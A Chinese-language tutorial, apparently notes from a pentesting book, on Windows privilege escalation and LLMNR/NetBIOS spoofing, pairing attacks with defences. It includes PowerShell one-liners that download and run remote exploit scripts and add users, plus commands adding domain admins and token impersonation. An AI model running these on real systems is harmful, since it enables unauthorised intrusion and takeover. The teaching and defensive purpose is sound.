前言:在 Windows 中,权限大概分为四种,分别是 User、Administrator、System、TrustedInstaller。在这四种权限中,我们经常接触的是前三种。第四种权限 TrustedInstaller,在常规使用中通常不会涉及。
- User:普通用户权限,是系统中最安全的权限。(因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料)
- Administrator:管理员权限。可以利用 Windows 的机制将自己提升为 System 权限,以便操作 SAM 文件等。
- System:系统权限。可以对 SAM 等敏感文件进行读取,往往需要将 Administrator 权限提升到 System 权限才可以对散列值进行 Dump (转储)操作。
- TrustedInstaller:Windows 中的最高权限。对系统文件,即使拥有 System 权限也无法进行修改。只有拥有 TrustedInstaller 权限的用户才可以修改系统文件。
低权限级别将使渗透测试受到很多限制。在 Windows 中,如果没有管理员权限,就无法进行获取散列值、安装软件、修改防火墙规则、修改注册表等操作。
Windows 操作系统中管理员账号的权限,以及 Linux 操作系统中 root 账户的权限,是操作系统的最高权限。提升权限的方式分为以下两类:
- 纵向提权:低权限角色获得高权限角色的权限。例如,一个 WebShell 权限通过提权,拥有了管理员权限。
- 横向提权:获取同级别角色的权限。例如,在系统 A 中获取了系统 B 的权限。
系统内核溢出漏洞提权
溢出漏洞就像往杯子里装水——如果水太多,杯子就装不下了,就会溢出来。计算机中有个地方叫作缓存区。程序缓存区的大小是事先设置好的,如果用户输入数据的大小超过了缓存区的大小,程序就会溢出。
系统内核溢出漏洞提权是一种通用的提权方法,攻击者通常可以使用该方法绕过系统的所有安全限制。攻击者利用该漏洞的关键是目标系统没有及时安装补丁——即使微软已经针对某个漏洞发布了补丁,但如果系统没有立即安装补丁,就会让攻击者有机可乘。
通过手动执行命令发现缺失补丁
获取目标机器的 shell 后,输入 whoami/groups
命令,查看当前权限:
Mandatory Label\Medium Mandatory Level,为一个标准用户。接下来,将权限从普通用户提升到管理员,也就是提升到 Mandatory Label\High Mandatory Level。
执行如下命令,通过查询 C:\windows\ 里的补丁号 (log 文件) 来了解目标机器上安装了哪些补丁:
#列出已安装的补丁
systeminfo
#列出已安装的补丁
Wmic qfe get Caption,Description,HotFixID,InstalledOn
可以看到目标机器上只安装了两个补丁。
这些输出的结果是不能直接利用的。我们通常采用的方式是:寻找提权的 EXP,将已安装的补丁编号与提权的 EXP 编号进行对比,例如 KiTrap0D 和 KB979682、MS11-011 和 KB2393802、MS11-080 和 KB2592799、MS10-021 和 KB979683,然后使用没有编号的 EXP 进行提权。
常见 EXP 参考:here
依托可以提升权限的 EXP 和它们的补丁编号,执行下列命令,对系统补丁包进行过滤。可以看到,已经安装了 KB976902,但没有安装 KB3143141:
wmic qfe get caption,description,hotfixid,installedon | findstr /C:"KB3143141" /C:"KB976902"
知识点:
“wmic” 是 “Windows Management Instrumentation Command-line” 的缩写。WMIC 是 Windows 平台上最有用的命令行工具。使用 WMIC,不仅可以管理本地计算机,还可以管理同一域内的所有计算机 (需要一定权限),而且在被管理的计算机上不必事先安装 WMIC。
WMIC 在信息收集和后渗透测试阶段是非常实用的,可以调取和查看目标机器的进程、服务、用户、用户组、网络连接、硬盘信息、网络共享信息、已安装的补丁、启动项、已安装的软件、操作系统的相关信息和时区等。
如果目标机器中存在 MS16-032 (KB3139914) 漏洞,那么攻击者不仅能够利用 Metasploit 进行提权,还能够利用 PowerShell 下的 Invoke-MS16-032.ps1(here) 脚本进行提权。
把 Invoke-MS16-032.ps1 脚本上传到目标机器中 (也可以远程下载并运行),然后执行如下命令,提权创建一个用户:
.\invoke-ms16-032.ps1
invoke-ms16-032 -application cmd.exe -commandline "/c net localgroup oh oh /add"
远程下载、提权、添加用户:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net localgroup oh oh /add'"
MS16-032 漏洞的补丁编号是 KB3139914。如果发现系统中存在该漏洞,只要安装相应的补丁即可。
利用 Metasploit 发现缺失补丁
利用 Metasploit 中的 post/windows/gather/enum_patches 模块,可以根据漏洞编号快速找出系统中缺少的补丁 (特别是拥有 Metasploit 模块的补丁)。
use post/windows/gather/enum_patches
set session 1
run
use post/multi/recon/local_exploit_suggester
set session 1
run
有点小问题,解决了。不过懒得再截了,其他文章有将就看 。
Windows Exploit Suggester
该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而其需要的只有目标系统的信息。
使用 systeminfo
命令获取当前系统的补丁安装情况,并将补丁信息导入 patches.txt 文件:
systeminfo > patches.txt
执行如下命令,从微软官方网站自动下载安全公告数据库,下载的文件会自动在当前目录下以 excel 电子表格的形式保存:
./windows-exploit-suggester.py --update
安装 xlrd 模块:(注意:这里需要 1.2.0 版本的,否则会无法识别 .xls。不兼容)
pip install xlrd==1.2.0
使用 Windows Exploit Suggester 工具进行预处理。执行如下命令,检查系统中是否存在未修复的漏洞:
./windows-exploit-suggester.py -d .xls -i patches.txt
在实际的网络环境中,如果系统中存在漏洞,就有可能会被攻击者利用。所以,发现漏洞后一定要及时进行修复。
MSF中还内置了 local_exploit_suggester 模块。这个模块用于快速识别系统中可能被利用的漏洞,使用方法:
use post/multi/recon/local_exploit_suggester
set LHOST ip (监听主机的IP)
set session 12
PowerShell 中的 Sherlock 脚本
通过 PowerShell 中的 Sherlock 脚本,可以快速查找可能用于本地权限提升的漏洞:
powershell
Import-Module .\Sherlock.ps1 #调用 Sharlock 脚本
Find-Allvulns #搜索所有未安装的补丁
#搜索单个漏洞 如:
powershell find-MS14058
现在一般都禁用 powershell 了,感觉不怎么实用。
手工网站查找
将补丁号复制进去即可查询。
Windows 操作系统配置错误利用分析及防范
在 Windows 操作系统中,攻击者通常会通过系统内核溢出漏洞来提权,但如果碰到无法通过系统内核漏洞提取所在服务器权限的情况,就会利用系统中的配置错误来提权。Windows 操作系统中的常见配置错误包括管理员凭据配置错误、服务配置错误、故意削弱的安全措施、用户权限过高等。
对网络安全维护人员来说,对操作系统进行合理、正确的配置是重中之重。
系统服务权限配置错误
Windows 系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。Windows 服务是以 System 权限运行的,因此,其文件夹、文件和注册表键值都是受强访问控制机制保护的。但是,在某些情况下,操作系统中仍然存在一些没有得到有效保护的服务。
系统服务权限配置错误 (可写目录漏洞) 有如下两种可能:
- 服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务。
- 服务正在运行且无法被终止:这种情况符合绝大多数的漏洞利用场景,攻击者通常会利用 DLL 劫持技术并尝试重启服务来提权。
1.PowerUp 下的实战利用
加载脚本:
Import-Module .\Privesc.psm1
获取函数:
Get-Command -Module Privesc
检测全部信息:(检测存在的漏洞)
Invoke-AllChecks
Find-AllVulns
也可以直接在命令下执行:
powershell.exe -exec bypass -Command "&{Import-Moudle .\PowerUp.ps1;Invoke-AllChecks}"
远程调用执行:
powershell.exe -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://dwz.cn/2vkbfP');Invoke-AllChecks"
添加用户:
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('xxx./PowerUp.ps1');Install-ServiceBinary -ServiceName 'Apache_pn' -Username lll -Password 123456
重启该服务后,将会添加用户。
提权实例:
ps: 这里我用的还是 Sherlock 脚本查找漏洞。(上方的调用出了点问题)
试用 MS16-135
:
总之上方找到可利用的都可以试试。
2.Metasploit 下的实战利用
在 Metasploit 中,对应的利用模块是 service_permissions。选择 “AGGRESSIVE” 选项,可以利用目标机器上每一个有缺陷的服务。该选项被禁用时,该模块在第一次提权成功后就会停止工作。
use service_permissions
show options #查看选项,若有空缺补上
run
service_permissions 模块使用两种方法来获得 System 权限:如果 meterpreter 以管理员权限运行,该模块会尝试创建并运行一个新的服务;如果当前权限不允许创建服务,该模块会判断哪些服务的文件或者文件夹的权限有问题,并允许对其进行劫持。在创建服务或劫持已经存在的服务时,该模块会创建一个可执行程序,其文件名和安装路径都是随机的。
注册表键 AlwayslnstallElevated
注册表键 AlwayslnstallElevated 是一个策略设置项。Windows 允许低权限用户以 System 权限运行安装软件。如果启用此策略设置项,那么任何权限的用户都能以 NT AUTHORITY\SYSTEM 权限来安装恶意的 MSI (Microsoft Windows Installer) 文件。
1.PathsAlwaysInstallElevated 漏洞产生的原因
该漏洞产生的原因是用户开启了 Windows Installer 特权安装功能:
在 “运行” 设置框中输入 “gpedit.msc”,打开组策略编辑器。
- 组策略——计算机配置——管理模板——Windows 组件——Windows Installer——永远以高特权进行安装:选择启用。
- 组策略——用户配置——管理模板——Windows 组件——Windows Installer——永远以高特权进行安装:选择启用。
设置完毕,会在注册表的以下两个位置自动创建键值 “1”。
- HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
- HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
2.Windows Installer 的相关知识点
在分析 AlwaysInstallElevated 提权之前,简单介绍一下 Windows Installer 的相关知识点,以便读者更好地理解该漏洞产生的原因。
Windows Installer 是 Windows 操作系统的组件之一,专门用来管理和配置软件服务。Windows Installer 除了是一个安装程序,还用于管理软件的安装、管理软件组件的添加和删除、监视文件的还原、通过回滚进行灾难恢复等。
Windows Installer 分为客户端安装服务 (Msiexec.exe) 和 MSI 文件两部分,它们是一起工作的。Windows Installer 通过 Msiexec.exe 安装 MSI 文件包含的程序。MSI 文件是 Windows Installer 的数据包,它实际上是一个数据库,包含安装和卸载软件时需要使用的大量指令和数据。Msiexec.exe 用于安装 MSI 文件,一般在运行 Microsoft Update 安装更新或者安装一些软件的时候使用,占用内存较多。简单地说,双击 MSI 文件就会运行 Msiexec.exe。
3. PowerUp 下的实战利用
在这里,可以使用 PowerUp 的 Get-RegistryAlwaaysInstallElevated 模块来检查注册表键是否被设置。如果 AlwaysInstallElevated 注册表键已经被设置,就意味着 MSI 文件是以 System 权限运行的。运行该模块的命令如下,”True” 表示已经设置。
powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1'); Get-RegistryAlwaysInstallElevated
若为 True,则可以添加账户。运行 Write-UserAddMSI 模块,生成 MSI 文件:
Get-RegistryAlwaysInstallElevated
Write-UserAddMSI
这时,以普通用户权限运行 UserAdd.msi,就会添加一个管理员账户。
msiexec /q /i UserAdd.msi
- /quiet:在安装过程中禁止向用户发送消息。
- /qn:不使用 GUI。
- /i:安装程序。
也可以利用 Metasploit 的 exploiexploit/windows/local/always_install_elevated 模块完成以上操作。使用该模块并设置会话参数,输入 run
命令,会返回一个 System 权限的 meterpreter。该模块会创建一个文件名随机的 MSI 文件,并在提权后删除所有已部署的文件。
只要禁用注册表键 AlwaysInstallElevated,就可以阻止攻击者通过 MSI 文件进行提权。
可信任服务路径漏洞
可信任服务路径 (包含空格且没有引号的路径) 漏洞利用了 Windows 文件路径解析的特性,并涉及服务路径的文件/文件夹权限 (存在缺陷的服务程序利用了属于可执行文件的文件/文件夹的权限)。如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。也就是说,如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
该漏洞存在如下两种可能性:
- 如果路径与服务有关,就任意创建一个服务或者编译 Service 模板。
- 如果路径与可执行文件有关,就任意创建一个可执行文件。
1.Trusted Service Paths 漏洞产生的原因
因为 Windows 服务通常都是以 System 权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行。
例如,有一个文件路径为 “C:\Program Files\Some Folder\Service.exe”。对于该路径中的每一个空格,Windows 都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对文件路径中空格的所有可能情况进行尝试,直至找到一个能够匹配的程序。在本例中,Windows 会依次尝试确定和执行下列程序:
- C:\Prpgram.exe
- C:\Program Files\Some.exe
- C:\Program Files\Some Folder\Service.exe
因此,如果一个被 “适当” 命名的可执行程序被上传到受影响的目录中,服务一旦重启,该程序就会以 System 权限运行 (在大多数情况下)。
2.Metasploit 下的实战利用
首先,检测目标机器中是否存在该漏洞。使用 wmic 查询命令,列出目标机器中所有没有被引号引起来的服务的路径:
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
这里没有这个漏洞,并没有空格。如果在路径上没有被引号引起来,且路径中包含空格,则存在可信任服务路径漏洞。
如果有的话,接着检测是否有对目标文件夹的写权限。可以使用 Windows 的内置工具 icacls,依次检查存在可信任服务路径漏洞的路径,如:依次检查 C:\Program Files、C:\Program Files\Common Files 等目录的权限,若发现一个目录下,如 C:\Program Files\program folder 目录后有 “Everyone:(OI)(CI)(F)” 字样:盗的图 (dog)
- Everyone:用户对这个文件夹有完全控制权限。也就是说,所有用户都具有修改这个文件夹的权限。
- (M):修改。
- (F):完全控制。
- (CI):从属容器将继承访问控制项。
- (OI):从属文件将继承访问控制项。
“Everyone:(OI)(CI)(F)” 的意思是,对该文件夹,用户有读、写、删除其下文件、删除其子目录的权限。
确认目标机器中存在此漏洞后,把要上传的程序重命名并放置在存在此漏洞且可写的目录下,执行如下命令,尝试重启服务:
sc stop service_name
sc start service_name
也可以使用 Metasploit 中的 Windows Service Trusted Path Privilege Escalation 模块进行渗透测试。该模块会将可执行程序放到受影响的文件夹中,然后将受影响的服务重启。
在 Metasploit 中,对 trusted_service_path 模块进行参数设置,然后输入 “run” 命令:盗图(我这里没有这个漏洞)
命令执行后,会反弹一个新的 meterpreter 。再次查看权限,显示提权成功。需要注意的是,反弹的 meterpreter 会很快中断,这是因为当一个进程在 Windows 操作系统中启动后,必须与服务控制管理器进行通信,如果没有进行通信,服务控制管理器会认为出现了错误,进而终止这个进程。在渗透测试中,需要在终止载荷进程之前将它迁移到其他进程中 (可以使用 “set AutoRunScript migrate -f” 命令自动迁移进程)。
可信任服务路径漏洞是由开发者没有将文件路径用引号引起来导致的。将文件路径用引号引起来,就不会出现这种问题了。
自动安装配置文件
网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而会使用脚本化部署的方法。在这一过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中的一些还可能包含本地管理员账号和密码等信息。这些文件列举如下 (可以对整个系统进行检查):
- C:\sysprep.inf
- C:\sysprep\sysprep.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
- C:\unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattended.xml
- C:\Windows\Panther\Unattend\Unattended.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\System32\Sysprep\unattend.xml
- C:\Windows\System32\Sysprep\Panther\unattend.xml
也可以执行如下命令,搜索 Unattend.xml 文件:
dir /b /s c:\Unattend.xml
打开 Unattend.xml 文件,查看其中是否包含明文密码或者经过 Base64 加密的密码:(还是盗图,我这里没有)
MSF 同样集成了这个漏洞的利用模块 post/windows/gather/enum_unattend:
计划任务
可以使用如下命令查看计算机的计划任务:
schtasks /query /fo LIST /v
AccessChk 是 SysInterals 套件中的一个工具,由 Mark Russinovich 编写,用于在 Windows 中进行一些系统或程序的高级查询、管理 和故障排除工作。基于杀毒软件的检测等,攻击者会尽量避免接触目标机器的磁盘。而 AccessChk 是微软官方提供的工具,一般不会引起杀毒软件的报警,所以经常会被攻击者利用。
执行如下命令,查看指定目录的权限配置情况。如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序。这样,在计划任务下次执行时,就会以高权限来运行恶意程序。
accesschk.exe -dqv "C:\Microsoft" -accepteula
几个常用的 AccessChk 命令:
第一次运行 SysInternals 工具包里的工具时,会弹出一个许可协议对话框。在这里,可以使用参数 /accepteula 自动接受许可协议:
accesschk.exe /accepteula
列出某个驱动器下所有权限配置有缺陷的文件:
accesschk.exe -uwqsUsersc:\*.*
accesschk.exe -uwqs"AuthenticatedUsers"c:\*.*
列出某个驱动器下所有权限配置有缺陷的文件夹:
accesschk.exe -uwqsUsersc:\
accesschk.exe -uwqs"AuthenticatedUsers"c:\
Empire 内置模块
……
组策略首选项提权分析及防范
组策略首选项提权简介
SYSVOL 是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL 文件夹是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。SYSVOL 在所有经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。整个 SYSVOL 目录在所有的域控制器中是自动同步和共享的,所有的域策略均存放在 C:\Windows\SYSVOL\DOMAIN\Policies\ 目录中。
在一般的域环境中,所有机器都是脚本化批量部署的,数据量通常很大。为了方便地对所有的机器进行操作,网络管理员往往会使用域策略进行统一的配置和管理。大多数组织在创建域环境后,会要求加入域的计算机使用域用户密码进行登录验证。为了保证本地管理员密码的安全性,这些组织的网络管理员往往会修改本地管理员密码。
尽管如此,安全问题依旧存在。通过组策略统一修改的密码,虽然强度有所提高,但所有机器的本地管理员密码是相同的。攻击者获得了一台机器的本地管理员密码,就相当于获得了整个域中所有机器的本地管理员密码,而所有通过域更新的组策略会存在 C://Windows/SYSVOL (SYSVOL 是所有经过身份验证的用户具有读访问权限的 Active Directory 中的域范围共享) 中的一个 xml 文件中,其键名为 cpassword。
注意:C:\Windows\SYSVOL 目录下,只有创建组策略脚本登录才能有策略脚本配置文件 groups.xml,默认是没有的。
大多数情况下,以下 XML 文件将包含凭据:groups.xml, scheduledtasks.xml 和 Services.xml, Printers.xml, Drives.xml
。
常见的组策略首选项 (Group Policy Preferences, GPP):
- 映射驱动器 (Drives.xml)。
- 创建本地用户。
- 数据源 (DataSources.xml)。
- 打印机配置(Printers.xml)。
- 创建/更新服务(Services.xml)。
- 计划任务(ScheduledTasks.xml)。
可对其内容进行解密。
针对组策略首选项提权的防御措施
在用于管理者策略的计算机上安装 KB2962486 补丁,防止新的凭据被放置在组策略首选项中。
此外,需要对 Everyone 访问权限进行设置:
- 设置共享文件夹 SYSVOL 的访问权限。
- 将包含组策略密码的 XML 文件从 SYSVOL 目录中删除。
- 不要把密码放在所有域用户都有权访问的文件中。
- 如果需要更改域中机器的本地管理员密码,建议使用 LAPS。
绕过 UAC 提权分析及防范
如果计算机的操作系统版本是 Windows Vista 或更高,在权限不够的情况下,访问系统磁盘的根目录 (例如:C:\)、Windows 目录、Program Files 目录、以及读、写系统登录数据库 (Registry) 的程序等操作,都需要经过 UAC (User Account Control,用户账户控制) 的认证才能进行。
UAC 简介
UAC 是微软为提高系统安全性在 Windows Vista 中引入的技术。UAC 要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC 在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。
在 Windows Vista 及更高版本的操作系统中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时照成的损害最小。
需要 UAC 的授权才能进行的操作列举如下:
- 配置 Windows Update。
- 增加/删除账户。
- 更改账户类型。
- 更改 UAC 设置。
- 安装 ActiveX。
- 安装/卸载程序。
- 安装设备驱动程序。
- 将文件移动/复制到 Program Files 或 Windows 目录下。
- 查看其他用户的文件夹。
UAC 有如下四种设置要求:
- 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户。
- 仅在程序试图更改我的计算机时通知我:UAC 默认设置。当本地 Windows 程序要使用该级别的权限时,不会通知用户。但是,当第三方程序要使用高级别权限会提示。
- 仅在程序试图更改我的计算机时通知我 (不降低桌面的亮度):与上一条相同,但在提示时不降低桌面的亮度。
- 从不提示:当用户为系统管理员时,所有的程序都会以最高权限运行。
bypassuac 模块
在通过前期渗透测试,获得了目标机器的 meterpreter shell 后,当前权限为普通用户权限,尝试提权为 System。
use exploit/windows/local/bypassuac
set session id
show options #查看需要设置的选项,若没有的添加上
run or exploit
get uid #查看是否提权成功
使用 bypassuac 模块进行提权时,当前用户必须在管理员组中,且 UAC 必须为默认设置 (即 “仅在程序试图更改我的计算机时通知我”)。
当 bypassuac 模块运行时,会在目标机器上创建多个文件,这些文件会被杀毒软件识别。但因为 exploit/windows/local/bypassuac_injection 模块直接运行在内存的反射 DLL 中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
(MSF 框架没有提供针对 Windows 8 的渗透测试模块)
RunAs 模块
使用 exploit/windows/local/ask 模块,创建一个可执行文件,目标机器会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序就会返回一个高权限的 meterpreter shell。
use exploit/windows/local/ask
set session id
show options
run
想要使用 RunAs 模块进行提权,当前用户必须在管理员组中或者知道管理员的密码,对 UAC 的设置则没有要求。使用 RunAs 模块时,需要使用 EXE::Custom 选项创建一个可执行文件 (免杀处理的)。
针对绕过 UAC 提权的防御措施
在企业网络环境中,防止绕过 UAC 的最好方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。
在家庭网络环境中,建议使用非管理员权限进行日常办公和娱乐等活动。使用本地管理员权限登录的用户,要将 UAC 设置为 “始终通知” 或者删除该用户的本地管理员权限。
也可以使用微软的 EMET 或 MalwareBytes 来更好地防范 0day 漏洞。
令牌窃取分析及防范
令牌 (Token) 是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求是属于哪个用户的。获得了令牌,就可以在不提供密码或其他凭证的情况下访问网络和系统资源。这些令牌将持续存在于系统中 (除非系统重启)。
令牌的最大特点是随机性和不可预测性。一般的攻击者或者软件都无法将令牌猜测出来。访问令牌 (Access Token) 代表访问控制操作主体的系统对象。密保令牌 (Security Token) 也叫作认证令牌或者硬件令牌,是一种用于实现计算机身份校验的物理设备,例如 U盾。会话令牌 (Session Token) 是交互会话中唯一的身份标识符。
伪造令牌攻击的核心是 Kerberos 协议。Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。Kerberos 协议的工作机制:
客户端请求证书的过程如下:
- 客户端向认证服务器发送请求,要求得到证书。
- 认证服务器收到请求后,将包含客户端密钥的加密证书发送给客户端。该证书包含服务器 Ticket (包含由服务器密钥加密的客户机身份和一份会话密钥) 和一个临时加密密钥 (又为会话密钥,Session Key)。当然,认证服务器也会向服务器发送一份该证书,使服务器能够验证登录的客户端身份。
- 客户端将 Ticket 传送给服务器。如果服务器确认该客户端身份,就允许它登录服务器。
客户端登录服务器后,攻击者就能通过入侵服务器来窃取客户端的令牌。
令牌窃取
在获得目标机器的 meterpreter shell 后,可以输入 use incognito
命令,然后输入 list_tokens -u
命令,列出可用的令牌:
这里有两种类型的令牌:一种是 Delegation Tokens,也就是授权令牌,它支持交互登录 (例如,可用通过远程桌面登录及访问);另一种是 Impersonation Tokens,也就是模拟令牌,它支持非交互式的会话。令牌的数量取决于 meterpreter shell 的访问级别。假设已经获得了一个系统管理员的授权令牌,如果攻击者可用伪造这个令牌,便可用拥有它的权限。
若有可利用的令牌的话,可用:
impersonate_token xxxxx\\xxxx
假冒令牌用户进行渗透测试。 注意:在输入主机名\用户名时,需要输入两个反斜杠(\\)。
Rotten Potato 本地提权分析
如果目标系统中存在有效令牌,可用通过 Rotten Potato 程序快速模拟用户令牌来实现权限提升。
use incognito
list_tokens -u
将 Rotten Potato 目录下的 rottenpotato.exe 可执行文件上传到目标机器中:
execute -HC -f rottenpotato.exe
impersonate_token "xxx\\xxx"
添加域管理员
假设网络中设置了域管理进程。在 meterpreter 会话窗口中输入 ps
命令,查看系统进程。找到域管理进程,并使用 migrate
命令迁移到该进程。在 meterpreter 控制台中输入 shell
,进入命令行界面。添加域用户:
net user name password /ad /domain
net group "domain admins" name /ad /domain #把此用户添加到域管理员组中
net group "domain admins" /domain #查看域管理员组
同样,在 meterpreter 中可用使用 incognito 来模拟域管理员,然后通过迭代系统中所有可用的身份验证令牌来添加域管理员。
在活动的 meterpreter 会话中执行如下命令,在域控主机上添加一个账户:
add_user shuteer name password -h ip
add_group_user "Domain Admins" name -h ip
针对令牌窃取提权的防御措施
- 及时安装微软推送的补丁。
- 对来路不明的或者危险的软件,既不要在系统中使用,也不要在虚拟机中使用。
- 对令牌的时效性进行限制,以防止散列值被破解后泄露有效的令牌信息。越敏感的数据,其令牌时效应该越短。如果每个操作都使用独立的令牌,就可以比较容易地定位泄露令牌的操作或环节。
- 对于令牌,应采取加密存储及多重验证保护。
- 使用加密链路 SSL/TLS 传输令牌,以防止被中间人窃听。
无凭证条件下的权限获取分析及防范
LLMNR 和 NetBIOS 欺骗攻击的基本概念
LLMNR
本地链路多播名称解析 (LLMNR) 是一种域名系统数据包格式。当局域网中的 DNS 服务器不可用时,DNS 客户端会使用 LLMNR 解析本地网段中机器的名称,直到 DNS 服务器恢复正常为止。从 Windows Vista 版本开始支持 LLMNR。LLMNR 支持 IPv6。
LLMNR 的工作流程如下:
- DNS 客户端在自己的内部名称缓存中查询名称。
- 如果没有找到,主机将向主 DNS 发送名称查询请求。
- 如果主 DNS 没有回应或者收到了错误的信息,主机会向备 DNS 发送查询请求。
- 如果备 DNS 没有回应或者收到了错误的信息,将使用 LLMNR 进行解析。
- 主机通过 UDP 协议向组播地址 224.0.0.252 的 5355 端口发送多播查询请求,以获得主机名所对应的 IP 地址。查询范围仅限于本地子网。
- 本地子网中所有支持 LLMNR 的主机在收到查询请求后,会对比自己的主机名。如果不同,就丢弃;如果相同,就向查询主机发送包含自己 IP 地址的单播信息。
NetBIOS
NetBIOS 是一种网络协议,一般用在由几十台计算机组成的局域网中 (根据 NetBIOS 协议广播获得计算机名称,并将其解析为相应的 IP 地址)。在 Windows NT 以后版本的所有操作系统中均可使用 NetBIOS。但是,NetBIOS 不支持 IPv6。
NetBIOS 提供的三种服务如下:
- NetBIOS-NS (名称服务):主要用于名称注册和解析,以启动会话和分发数据报。该服务需要使用域名服务器来注册 NetBIOS 的名称。默认监听 UDP 137 端口,也可以使用 TCP 137 端口。
- Datagram Distribution Service (数据报分发服务):无连接服务。该服务负责进行错误检测和恢复,默认监听 UDP 138 端口。
- Session Service (会话服务):允许两台计算机建立连接,允许电子邮件跨越多个数据包进行传输,提供错误检测和恢复机制。默认使用 TCP 139 端口。
Net-NTLM Hash
Net-NTLM Hash 与 NTLM Hash 不同。
NTLM Hash 是指 Windows 操作系统的 Security Account Manager 中保存的用户密码散列值。NTLM Hash 通常保存在 Windows 的 SAM 文件或者 NTDS.DIT 数据库中,用于访问资源的用户进行身份验证。
Net-NTLM Hash 是指网络环境中经过 NTLM 认证的散列值。挑战/响应验证中的 “响应” 就包含 Net-NTLM Hash。使用 Responder 抓取的通常就是 Net-NTLM Hash。攻击者无法使用该散列值进行哈希传递攻击,只能在使用 Hashcat 等工具得到明文后进行横向移动攻击。
LLMNR 和 NetBIOS 欺骗攻击分析
假设目标网络的 DNS 服务器因为发生故障而无法提供服务时,会退回 LLMNR 和 NBT-NS 进行计算机名解析。
Responder 是监听 LLMNR 和 NBT-NS 协议的工具之一,能够抓取网络中所有的 LLMNR 和 NBT-NS 请求并进行响应,获取最初的账户凭证。
Responder 可以利用内置 SMB 认证服务器、MSSQL 认证服务器、HTTP 认证服务器、HTTPS 认证服务器、LDAP 认证服务器、DNS 服务器、WPAD 代理服务器,以及 FTP、POP3、IMAP、SMTP 等服务器,收集目标网络中计算机的凭据,还可以通过 Multi-Relay 功能在目标系统中执行命令。
Responder
监听模式
进入目标网络后,如果没有获得任何目标系统的相关信息和重要凭证,可以开启 Responder 的监听模式。Responder 只会对网络中的流量进行分析,不会主动响应任何请求。
使用 Responder 查看网络是如何在没有主动定位任何主机的情况下运行的。”ON” 代表针对该服务数据包的监听,”OFF” 代表关闭监听。由此可以分析出网络中存在的 IP 地址段、机器名等。
./Responder.py -I eth0 -f
- -I:指定使用的网卡。
- -f:允许攻击者查看受害者的主机指纹。
渗透测试
在使用 Responder 对网络进行分析之后,可以利用 SMB 协议获取目标网络中计算机的 Net-NTLM Hash 。如果用户输入了错误的计算机名,在 DNS 服务器上进行的名称查询操作将会失败,名称解析请求将被退回,使用 NBT-NS 和 LLMNR 进行解析。
在渗透测试中,使用 Responder 并启动回应请求功能,Responder 会自动回应客户端的请求并声明自己就是被输入了错误计算机名的那台机器,然后尝试建立 SMB 连接。客户端会发送自己的 Net-NTLM Hash 进行身份验证,此时将得到目标机器的 Net-NTLM Hash。
针对 LLMNR 和 NetBIOS 欺骗攻击的防御
关闭 LLMNR 和 NetBIOS 服务。
关闭 LLMNR
打开本地组策略管理器 gpedit.msc
。
依次进入 计算机配置 –> 管理模板 –> 网络 –> DNS 客户端,在右侧的设置里,关闭最下方的 “关闭多播名称解析” ,选择 “已禁用”。
关闭 NetBIOS
依次点击控制面板 –> 网络和Internet –> 网络连接,右击本地连接或者无线网络连接,选择”属性” –> Internet协议版本4 –> 属性 –> “高级”,在 WINS 标签栏中的NetBIOS 设置中禁用 NetBIOS。
注意:在关闭这些服务以后,用户的一些正常需求可能会受到影响。
本文来自《内网安全攻防》